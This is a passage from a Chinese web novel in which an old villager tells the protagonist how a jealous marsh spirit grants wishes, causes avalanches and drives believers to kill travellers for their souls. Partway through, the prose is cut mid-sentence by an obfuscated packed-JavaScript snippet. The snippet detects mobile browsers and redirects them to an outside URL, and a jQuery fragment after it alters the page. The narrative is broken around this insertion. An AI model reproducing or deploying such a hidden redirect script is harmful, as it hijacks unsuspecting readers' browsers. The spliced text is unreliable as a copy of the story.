“傻小子,你怎么回来了。”何绣娟的嗓音干涩,“走啊,快走啊。” 荀昼生从她的话里品出了不对劲。 他说:“何奶奶,我想知道我父母死亡的真相,还有我爷爷奶奶。” 就这样,他从何绣娟的口中拼凑出了一段过往。 在很久很久以前,当第一次日照金山之时,雪山就诞生了灵识。 那个时候,灵识还没有化出神格,就像个懵懂无知的幼童,守在这方寸之地。 后来,荀家最早的先辈搬到了这里,就此有了荀家村,慢慢地,何家和王家也定居在此,三家就成了一个大村落。 先辈们信奉神明,认为雪山就是这片土地的守护神,尊称一声“雪山娘娘”。从第一份信仰产生开始,雪山灵识就生出了神格,真正成为了庇护此地的神明。 雪山脚下有一片湖泊,地势低洼,冰雪融水积聚在此,排水不畅,久而久之就成了湖沼,泥泞不堪。 万物皆有灵,泥潭也萌生灵识,每当村民向雪山祈祷、求雪山赐福时,祂便心生羡慕——为什么雪山能拥有如此之多的信徒,祂却一无所有? 祂未生神格便自封为“泥沼神”,残忍地吞噬其他灵识,慢慢积蓄力量,想通过这种方式来证明自己比雪山强。 雪山娘娘意识到情况不对时,第一时间向这片土地上的村民发出警报——那是一场点到为止的雪崩,几乎掏空了雪山娘娘积下的信仰之力,只为提醒她的孩子们尽快撤离。 但事与愿违,并没有多少人选择离开,反而让泥沼神寻到了可趁之机。 祂发现,那场雪崩让更多人对雪山产生了敬畏。 原来灾难才是催生信徒的最佳方式。 于是祂走了歪门邪道,用吞并来的力量发动了第二场雪崩,带走了当任村长荀石的性命。只有这样受人敬仰的人物死了,才能带来更多恐惧和怀疑,这都是孕育祂信仰之力的沃土。 那次雪崩之后,雪山娘娘日渐式微,陷入了沉睡,祂也消停了几年,直到那年,一个稚童跑到雪山脚下,站在那片湖沼之上,虔诚祈祷村里能有照明的路灯,这样奶奶走夜路就不会摔跤了。 那个稚童就是儿时的荀昼生。 他没有指名道姓向雪山祈愿,泥沼神便趁机揽到了自己身上,大手一挥,连夜为荀家村配上了“神力”凝结而成的路灯——那是祂力量的一部分,也成了后来祂掌控村民的法宝。 就这样,稚童愿望成真的消息传到了有心人的耳朵里,荀伯成顺藤摸瓜找到了这里,许下了第一个愿望。他说,他想发财,发大财。 泥沼神怎么会错过这种良机。 祂在荀伯成家的田里变出了金块,一心等着他发现。 但祂万万没想到,这人懒惰至极,根本不下地干活,甚至还回过头来大骂泥沼神装神弄鬼,祂一怒之下开了戒,分了一丁点“神力”给他,让他能听懂祂的鸟语,并出声勒令他去挖地。 荀伯成愿望成真,大喜过望,再三谢过泥沼神,自此每天都来湖沼跪拜。 他贪婪得可怕,每天只要一跪下就开始许愿,泥沼神烦了,就说,时机未到,让他有了真正想要的第二个愿望再来。 那天,荀仲安带了王春花回家,荀柱高兴坏了,围着他俩打转,荀伯成转头就来求泥沼神:“我想要个老婆,一定要比老二那个强。” 泥沼神算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289373|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算,这人还真有个高中同学心里有他。祂就让他某日某时准点去城里蹲着,保准能蹲到人。 祂也没白费这些力气,荀伯成很快成了家,回来给祂磕头,说愿意为祂效劳,祂便命他将自己的名号宣扬出去。 荀伯成最开始还不乐意,祂又许了他两个愿望的额度,他才欢欢喜喜地答应下来。 就这样,越来越多的村民来找泥沼神许愿,祂成了荀家村的“新神”,只是神格一直没有诞生。祂正焦头烂额时,荀伯成又来了。 有一有二就有三,第三回是为了孩子。 荀伯成说,他一定要比老二先有孩子,泥沼神应了,但没想到他这么不争气,自己把孩子给弄没了。祂也懒得搭理他的狂怒,祂许诺的都做到了,剩下的也不是祂能干涉的。 祂能感应得到,村里还有几个女人在信奉雪山娘娘,她很快就要苏醒了。 泥沼神不甘心,祂要抓紧时间壮大力量,刚好村里来了个落单的旅客,祂利用荀伯成把人骗来这里,哄劝着他用刀沾了泥割破了那人影子的脖颈——这样一来,这人的生魂就成了他力量的一部分。 泥沼神很快就尝到了甜头。 从落单的游客到结伴的夫妻,甚至还有一整个旅行团,祂都没放过。荀伯成不够就加上许过愿的那些人,祂借路灯蛊惑了他们的心神,控制着他们夜间为祂杀人取魂。 那些信徒因信仰深度不同,受影响程度也不同,但无妨,只要在祂泥沼神这里许过愿,就是签订契约自愿受祂驱使,只要时间够久,祂就能一点点侵蚀他们的心智。 但还是远远不够。 雪山居然给那些女人托梦,泥沼神恨得牙根发痒。 刚好这时,荀伯成又有了新的愿望:“那个老不死的居然还不退,是不是还惦记着他那宝贝儿子当村长,泥沼神,这次我想要当村长,您得帮帮我。” 泥沼神灵光一现。 祂制造了第三场雪崩。 祂把那些不曾信过祂的村民全都埋在了这场雪里,虽然还有几个漏网之鱼,不过也无关紧要,成不了大气候。 越是贪得无厌的人,越深陷于泥沼神的掌控。 越是曾经对泥沼神深信不疑的人,越容易受到祂的支配。 村长荀柱已经彻底受泥沼神牵制,荀伯成是祂最好用的刀,何绣娟、荀大正等一干人都替祂杀过人,哪怕是王春花,也已经向祂许过了愿。 只剩下付林燕这个榆木脑袋,朽木难雕,不过也不妨事。 泥沼神肆无忌惮地夺走了很多人的生魂,大手大脚地完成了荀伯成的第五个愿望—— “臭娘们,居然敢骗我!都查出来不能怀了,还跟老二家的串通起来糊弄我,别让我知道是谁出的主意,不然我弄死她!泥沼神,能不能再给我个孩子?” 泥沼神一算,能怀,就是可能性不大,那就能办。 于是,荀小妹出生了。 荀伯成却勃然大怒:“我要儿子!儿子!老二家就是个能传宗接代的,怎么到我这成了个丫头片子?” 泥沼神有力量傍身,随随便便就把他打发了。 谁让他许愿的时候不说清楚性别呢。 但祂百密一疏,也不知道那些村民哪里来的力气,居然短暂地摆脱了祂的掌控,把几个孩子送了出去。泥沼神措手不及,只扣下了荀柱家两个小的,还是借的荀伯成的手。 祂一气之下设下了结界屏障,荀家村只许进,不许出,所有生灵都被困在了这里。 XS79年6月18日,雪山醒了,但也迟了。